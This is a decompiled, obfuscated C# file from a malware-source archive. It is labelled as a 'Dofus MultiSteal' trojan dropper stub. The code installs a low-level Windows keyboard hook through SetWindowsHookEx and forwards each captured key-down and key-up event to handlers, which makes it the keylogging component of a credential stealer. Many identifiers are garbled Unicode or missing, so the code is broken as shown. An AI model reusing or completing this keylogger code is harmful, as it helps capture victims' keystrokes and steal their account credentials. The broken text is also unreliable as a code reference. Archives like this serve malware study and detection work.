MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.auww-b56915160d2d8d725e2d54a5b16a636ea854d31f8fa85a3d1e207112b177ddb1/╍秀骒豜㤨灮燃.cs
2022-08-18 06:28:56 -05:00

126 lines
7.3 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: ╍秀骒豜㤨灮燃
// Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null
// MVID: F8CCC811-F0AE-43F4-8180-670E2BBAD259
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auww-b56915160d2d8d725e2d54a5b16a636ea854d31f8fa85a3d1e207112b177ddb1.exe
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
internal class \u254D秀\uEB37骒豜㤨灮燃
{
private const int = 13;
private const int \uEA6A嗣\uEEB8\uEFAD\u2379쾽\u1CB0᷑ = 0;
private const int \u3297唗筈育 = 256;
private const int \u05CC\uE775ဍ\u329C\uE5B5 = 257;
private const int \u08DE낍\uFDE0鑷踪뢊ᆞᚾ = 260;
private const int \uF069㤡恵Ά = 261;
private \u254D秀\uEB37骒豜㤨灮燃.\uEA0Cퟐ\uEDFDשּׁ퇌ﰆᯙ쀳 Џ\uECC0\uE1C1;
private IntPtr \uFFFD능ﳇ\u240E賹홝Л뻹;
[DllImport("User32.dll", EntryPoint = "SetWindowsHookEx", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern int (
int _param0,
\u254D秀\uEB37骒豜㤨灮燃.\uEA0Cퟐ\uEDFDשּׁ퇌ﰆᯙ쀳 _param1,
IntPtr _param2,
int );
[DllImport("User32.dll", EntryPoint = "CallNextHookEx", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern int \u0DC9쓴鸁슱鯬(
int _param0,
int _param1,
IntPtr ,
IntPtr _param3);
[DllImport("User32.dll", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern bool \u2655ມ䪰셀\uF684(int _param0);
public static event \u254D秀\uEB37骒豜㤨灮燃.\u2F71愨\uE5ECಚ ;
public static event \u254D秀\uEB37骒豜㤨灮燃.\uED69胲\u28C5ዮ墁 \uED02铻\u087E縭镚㬌\uF7D3յ;
private int \u240E哘\u2ED2\u23DB\uE9AB(int _param1, IntPtr , IntPtr _param3)
{
if (_param1 == 0)
{
IntPtr num = ;
\u254D秀\uEB37骒豜㤨灮燃.\uE7D1餲楌㽌 1;
\u254D秀\uEB37骒豜㤨灮燃.\uE7D1餲楌㽌 2;
if (!\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(256)) && !\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(260)))
{
if (\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(257)) || \uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(261)))
{
\u254D秀\uEB37骒豜㤨灮燃.\uED69胲\u28C5ዮ墁 = \u254D秀\uEB37骒豜㤨灮燃.\uE51Cꖲ\uE27C\u28A5蜠咾ᎃ;
if ( != null)
{
\u254D秀\uEB37骒豜㤨灮燃.\uED69胲\u28C5ዮ墁 = ;
object obj = \uFFFD溦䓞콺ᕿٻ猶呶.驿\u2FED瑲\u066C\uEFE1胧(_param3, \u32D0.\uE12E\uF423ꍨ脱\uFFFD쇧\uFE5E\uE31D((object) 1));
int = checked ((int) (unchecked (obj != null) ? (\u254D秀\uEB37骒豜㤨灮燃.\uE7D1餲楌㽌) obj : 2).\uEFFE顣飛旳\u274C䣕굧괠);
\uECF1웿\uF3D7稫瓎넇\uEC79.ܥ\u180Fᾚ骠葔鏞((object) , (Keys) );
}
}
}
else
{
\u254D秀\uEB37骒豜㤨灮燃.\u2F71愨\uE5ECಚ = \u254D秀\uEB37骒豜㤨灮燃.\uEDD6;
if ( != null)
{
\u254D秀\uEB37骒豜㤨灮燃.\u2F71愨\uE5ECಚ = ;
object obj = \uFFFD溦䓞콺ᕿٻ猶呶.驿\u2FED瑲\u066C\uEFE1胧(_param3, \u32D0.\uE12E\uF423ꍨ脱\uFFFD쇧\uFE5E\uE31D((object) 1));
int = checked ((int) (unchecked (obj != null) ? (\u254D秀\uEB37骒豜㤨灮燃.\uE7D1餲楌㽌) obj : 2).\uEFFE顣飛旳\u274C䣕굧괠);
\uFFFD仴修歮ᐬ걳.ج((object) , (Keys) );
}
}
}
return \uF6FB\uF73E腘.(\uFFFD켅ᇛ\u00A6닂鳧.\u2260㼄㵖劆ἄ(IntPtr.Zero), _param1, , _param3);
}
public \u254D秀\uEB37骒豜㤨灮燃()
{
\u254D秀\uEB37骒豜㤨灮燃 TargetObject = this;
// ISSUE: virtual method pointer
this.Џ\uECC0\uE1C1 = new \u254D秀\uEB37骒豜㤨灮燃.\uEA0Cퟐ\uEDFDשּׁ퇌ﰆᯙ쀳((object) TargetObject, __vmethodptr(TargetObject, \u240E哘\u2ED2\u23DB\uE9AB));
this.\uFFFD능ﳇ\u240E賹홝Л뻹 = IntPtr.Zero;
this.\uFFFD능ﳇ\u240E賹홝Л뻹 = \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(\uE26C沶叝殈.\uFFFD(13, this.Џ\uECC0\uE1C1, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(\uF331罜\uF6F3䂻䠻.(Գ\u1CA5\u0608\uE96Dꨥ\u9FEAઉ.\u09C6荪鑸딇粨\u204F((object) \u20FB\uAB1D\u3228燽\u2B8Aⱘ녧.\uEA74먪珢遊샲Ⴎ\u0FD9\uF809())[0]).ToInt32()), 0));
if (\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(this.\uFFFD능ﳇ\u240E賹홝Л뻹, IntPtr.Zero))
throw \u26FC諵㪟ꌀ\uFFFD닅\uEE89\u25F6.\u273D㑰칗뒹((string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(1356576151U));
}
~\u254D秀\uEB37骒豜㤨灮燃()
{
if (!\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(this.\uFFFD능ﳇ\u240E賹홝Л뻹, IntPtr.Zero))
goto label_2;
label_1:
\u2611툹쥦ˣꔭ\u246D慞.\u28E7乼ꕲ醴䗄䐠ⲱ돩((object) this);
return;
label_2:
\uE388ﵵ醍๔곞苦.\u2AB1剙백諺ᙕ䛛訐\uE936(\uFFFD켅ᇛ\u00A6닂鳧.\u2260㼄㵖劆ἄ(this.\uFFFD능ﳇ\u240E賹홝Л뻹));
goto label_1;
}
private struct \uE7D1餲楌㽌
{
public uint \uEFFE顣飛旳\u274C䣕굧괠;
public uint \u2FEA둱\uE7B2誅;
public \u254D秀\uEB37骒豜㤨灮燃. \uABFD\uFFFD\uFBCF\u28B5\u2A63寒;
public uint \u104CẆʭ跒㝀灮陋Ζ;
public UIntPtr \u2586\u2F0B빁쏧ង塹荚顄;
}
[Flags]
private enum : uint
{
LLKHF_EXTENDED = 1,
LLKHF_INJECTED = 16, // 0x00000010
LLKHF_ALTDOWN = 32, // 0x00000020
LLKHF_UP = 128, // 0x00000080
}
public delegate void \u2F71愨\uE5ECಚ(Keys Key);
public delegate void \uED69胲\u28C5ዮ墁(Keys Key);
private delegate int \uEA0Cퟐ\uEDFDשּׁ퇌ﰆᯙ쀳(int nCode, IntPtr wParam, IntPtr lParam);
}